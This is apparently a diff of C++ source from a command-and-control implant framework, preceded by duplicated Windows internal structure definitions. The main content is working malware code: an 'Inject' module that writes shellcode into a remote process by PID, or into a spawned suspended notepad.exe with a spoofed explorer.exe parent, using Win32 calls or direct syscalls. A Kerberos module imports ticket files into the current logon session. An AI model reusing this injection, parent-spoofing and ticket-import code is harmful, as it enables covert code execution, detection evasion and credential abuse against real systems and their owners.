PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _INITIAL_TEB {
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;
+282 -282
View File
@@ -35,13 +35,13 @@ __attribute__((visibility("default"))) Inject* InjectConstructor()
Inject::Inject()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
m_processToSpawn = "notepad.exe";
m_useSyscall = false;
m_processToSpawn = "notepad.exe";
m_useSyscall = false;
}
Inject::~Inject()
@@ -50,166 +50,166 @@ Inject::~Inject()
int Inject::initConfig(const nlohmann::json &config)
{
for (auto& it : config.items())
{
if(it.key()=="process")
m_processToSpawn = it.value();
else if(it.key()=="syscall")
m_useSyscall = true;
}
for (auto& it : config.items())
{
if(it.key()=="process")
m_processToSpawn = it.value();
else if(it.key()=="syscall")
m_useSyscall = true;
}
return 0;
return 0;
}
std::string Inject::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "inject:\n";
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
info += "No output is provided.\n";
info += "Use -r to use a shellcode file.\n";
info += "If -e or -d are given, use donut to create the shellcode.\n";
info += "If pid is negative a new process is created for the injection.\n";
info += "exemple:\n";
info += "- inject -r ./calc.bin 2568\n";
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
info += "inject:\n";
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
info += "No output is provided.\n";
info += "Use -r to use a shellcode file.\n";
info += "If -e or -d are given, use donut to create the shellcode.\n";
info += "If pid is negative a new process is created for the injection.\n";
info += "exemple:\n";
info += "- inject -r ./calc.bin 2568\n";
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
#endif
return info;
return info;
}
int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() >= 4)
{
bool donut=false;
std::string inputFile=splitedCmd[2];
std::string method;
std::string args;
int pid=-1;
if (splitedCmd.size() >= 4)
{
bool donut=false;
std::string inputFile=splitedCmd[2];
std::string method;
std::string args;
int pid=-1;
try
try
{
pid = stoi(splitedCmd[3]);
}
catch (...)
{
std::string msg = "Pid must be an integer.\n";
c2Message.set_returnvalue(msg);
return -1;
c2Message.set_returnvalue(msg);
return -1;
}
if(splitedCmd[1]=="-e")
{
donut=true;
for (int idx = 4; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-d")
{
donut=true;
if(splitedCmd.size() > 4)
method=splitedCmd[4];
else
{
std::string msg = "Method is mandatory for DLL.\n";
c2Message.set_returnvalue(msg);
return -1;
}
for (int idx = 5; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-r")
{
}
else
{
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(splitedCmd[1]=="-e")
{
donut=true;
for (int idx = 4; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-d")
{
donut=true;
if(splitedCmd.size() > 4)
method=splitedCmd[4];
else
{
std::string msg = "Method is mandatory for DLL.\n";
c2Message.set_returnvalue(msg);
return -1;
}
for (int idx = 5; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-r")
{
}
else
{
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::ifstream myfile;
myfile.open(inputFile);
std::ifstream myfile;
myfile.open(inputFile);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_windowsBeaconsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_windowsBeaconsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
std::string payload;
if(donut)
creatShellCodeDonut(inputFile, method, args, payload);
else
{
std::ifstream input(inputFile, std::ios::binary);
std::string payload_(std::istreambuf_iterator<char>(input), {});
payload=payload_;
}
std::string payload;
if(donut)
creatShellCodeDonut(inputFile, method, args, payload);
else
{
std::ifstream input(inputFile, std::ios::binary);
std::string payload_(std::istreambuf_iterator<char>(input), {});
payload=payload_;
}
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::string cmd;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
cmd+=splitedCmd[idx];
cmd+=" ";
}
std::string cmd;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
cmd+=splitedCmd[idx];
cmd+=" ";
}
c2Message.set_pid(pid);
c2Message.set_cmd(cmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_pid(pid);
c2Message.set_cmd(cmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
#ifdef _WIN32
@@ -217,76 +217,76 @@ int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
std::string static inline inject(int pid, const std::string& payload, bool useSyscall)
{
std::string result;
std::string result;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (processHandle)
{
if(useSyscall)
{
PVOID remoteBuffer;
SIZE_T sizeToAlloc = payload.size();
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (processHandle)
{
if(useSyscall)
{
PVOID remoteBuffer;
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
HANDLE hThread;
Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL);
HANDLE hThread;
Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL);
Sw3NtClose_(hThread);
Sw3NtClose_(processHandle);
result += "Process injected.";
}
else
{
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
Sw3NtClose_(hThread);
Sw3NtClose_(processHandle);
result += "Process injected.";
}
else
{
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
DWORD oldprotect = 0;
VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(remoteThread);
CloseHandle(processHandle);
result += "Process injected.";
CloseHandle(remoteThread);
CloseHandle(processHandle);
result += "Process injected.";
}
}
else
result += "OpenProcess failed.";
}
}
else
result += "OpenProcess failed.";
return result;
return result;
}
// std::string static inline selfInject(const std::string& payload)
// {
// std::string result;
// std::string result;
// DWORD pid = GetCurrentProcessId();
// HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//
// if (processHandle)
// {
// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
// DWORD oldprotect = 0;
// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
// CloseHandle(remoteThread);
// CloseHandle(processHandle);
// result += "Self injected.";
// }
// else
// result += "OpenProcess failed.";
// if (processHandle)
// {
// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
// DWORD oldprotect = 0;
// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
// CloseHandle(remoteThread);
// CloseHandle(processHandle);
// result += "Self injected.";
// }
// else
// result += "OpenProcess failed.";
//
// return result;
// }
@@ -294,102 +294,102 @@ std::string static inline inject(int pid, const std::string& payload, bool useSy
DWORD GetPidByName(const char * pName)
{
PROCESSENTRY32 pEntry;
HANDLE snapshot;
PROCESSENTRY32 pEntry;
HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &pEntry) == TRUE)
{
while (Process32Next(snapshot, &pEntry) == TRUE)
{
if (_stricmp(pEntry.szExeFile, pName) == 0)
{
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
if (Process32First(snapshot, &pEntry) == TRUE)
{
while (Process32Next(snapshot, &pEntry) == TRUE)
{
if (_stricmp(pEntry.szExeFile, pName) == 0)
{
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
// https://cocomelonc.github.io/tutorial/2021/11/20/malware-injection-4.html
std::string static inline spawnInject(const std::string& payload, const std::string& processToSpawn, bool useSyscall)
{
std::string result;
std::string result;
// Spoof parent ID to set explorer.exe
DWORD dwPid = GetPidByName("explorer.exe");
if (dwPid == 0)
dwPid = GetCurrentProcessId();
// Spoof parent ID to set explorer.exe
DWORD dwPid = GetPidByName("explorer.exe");
if (dwPid == 0)
dwPid = GetCurrentProcessId();
// create fresh attributelist
SIZE_T cbAttributeListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
// create fresh attributelist
SIZE_T cbAttributeListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
// copy and spoof parent process ID
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
UpdateProcThreadAttribute(pAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParentProcess,
sizeof(HANDLE),
NULL,
NULL);
// copy and spoof parent process ID
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
UpdateProcThreadAttribute(pAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParentProcess,
sizeof(HANDLE),
NULL,
NULL);
PROCESS_INFORMATION piProcInfo;
STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) };
startupInfoEx.lpAttributeList = pAttributeList;
PROCESS_INFORMATION piProcInfo;
STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) };
startupInfoEx.lpAttributeList = pAttributeList;
if (CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo))
{
if(useSyscall)
{
PVOID remoteBuffer;
SIZE_T sizeToAlloc = payload.size();
if (CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo))
{
if(useSyscall)
{
PVOID remoteBuffer;
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
result += "Process injected.";
}
else
{
PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
result += "Process injected.";
}
else
{
PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
DWORD oldprotect = 0;
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
ResumeThread(piProcInfo.hThread);
result += "Process injected.";
}
}
else
{
result += "CreateProcess failed.";
}
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
ResumeThread(piProcInfo.hThread);
result += "Process injected.";
}
}
else
{
result += "CreateProcess failed.";
}
DeleteProcThreadAttributeList(pAttributeList);
CloseHandle(hParentProcess);
DeleteProcThreadAttributeList(pAttributeList);
CloseHandle(hParentProcess);
return result;
return result;
}
@@ -398,33 +398,33 @@ std::string static inline spawnInject(const std::string& payload, const std::str
int Inject::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string shellcode = c2Message.data();
int pid = c2Message.pid();
const std::string shellcode = c2Message.data();
int pid = c2Message.pid();
std::string result;
if(pid>0)
{
result = inject(pid, shellcode, m_useSyscall);
}
else
{
std::string processToSpawn="notepad.exe";
if(!m_processToSpawn.empty())
processToSpawn=m_processToSpawn;
result = spawnInject(shellcode, processToSpawn, m_useSyscall);
}
std::string result;
if(pid>0)
{
result = inject(pid, shellcode, m_useSyscall);
}
else
{
std::string processToSpawn="notepad.exe";
if(!m_processToSpawn.empty())
processToSpawn=m_processToSpawn;
result = spawnInject(shellcode, processToSpawn, m_useSyscall);
}
// variantes
// nt api (ntdll)
// nt write virtual memory
// nt map view...
// nt creat thread ex
// bcp d autre
// variantes
// nt api (ntdll)
// nt write virtual memory
// nt map view...
// nt creat thread ex
// bcp d autre
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(c2Message.cmd());
c2RetMessage.set_returnvalue(result);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(c2Message.cmd());
c2RetMessage.set_returnvalue(result);
return 0;
return 0;
}
+11 -11
View File
@@ -3,29 +3,29 @@
#include "ModuleCmd.hpp"
#ifdef _WIN32
#include <Windows.h>
#include <Windows.h>
#endif
class Inject : public ModuleCmd
{
public:
Inject();
~Inject();
Inject();
~Inject();
std::string getInfo();
std::string getInfo();
int initConfig(const nlohmann::json &config);
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int initConfig(const nlohmann::json &config);
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
std::string m_processToSpawn;
bool m_useSyscall;
std::string m_processToSpawn;
bool m_useSyscall;
};
+5 -5
View File
@@ -50,11 +50,11 @@ bool testInject()
output += "\n";
std::cout << output << std::endl;
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (hProc) {
TerminateProcess(hProc, 0);
CloseHandle(hProc);
}
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (hProc) {
TerminateProcess(hProc, 0);
CloseHandle(hProc);
}
#endif
}
+37 -37
View File
@@ -55,9 +55,9 @@ __attribute__((visibility("default"))) KerberosUseTicket* KerberosUseTicketConst
KerberosUseTicket::KerberosUseTicket()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -68,66 +68,66 @@ KerberosUseTicket::~KerberosUseTicket()
std::string KerberosUseTicket::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "KerberosUseTicket:\n";
info += "Import a kerberos ticket from a file to the curent LUID. \n";
info += "exemple:\n";
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
info += "KerberosUseTicket:\n";
info += "Import a kerberos ticket from a file to the curent LUID. \n";
info += "exemple:\n";
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
#endif
return info;
return info;
}
int KerberosUseTicket::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() == 2)
{
string inputFile = splitedCmd[1];
{
string inputFile = splitedCmd[1];
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
int KerberosUseTicket::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string cmd = c2Message.cmd();
const std::string buffer = c2Message.data();
const std::string buffer = c2Message.data();
std::string out = importTicket(buffer);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(out);
return 0;
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
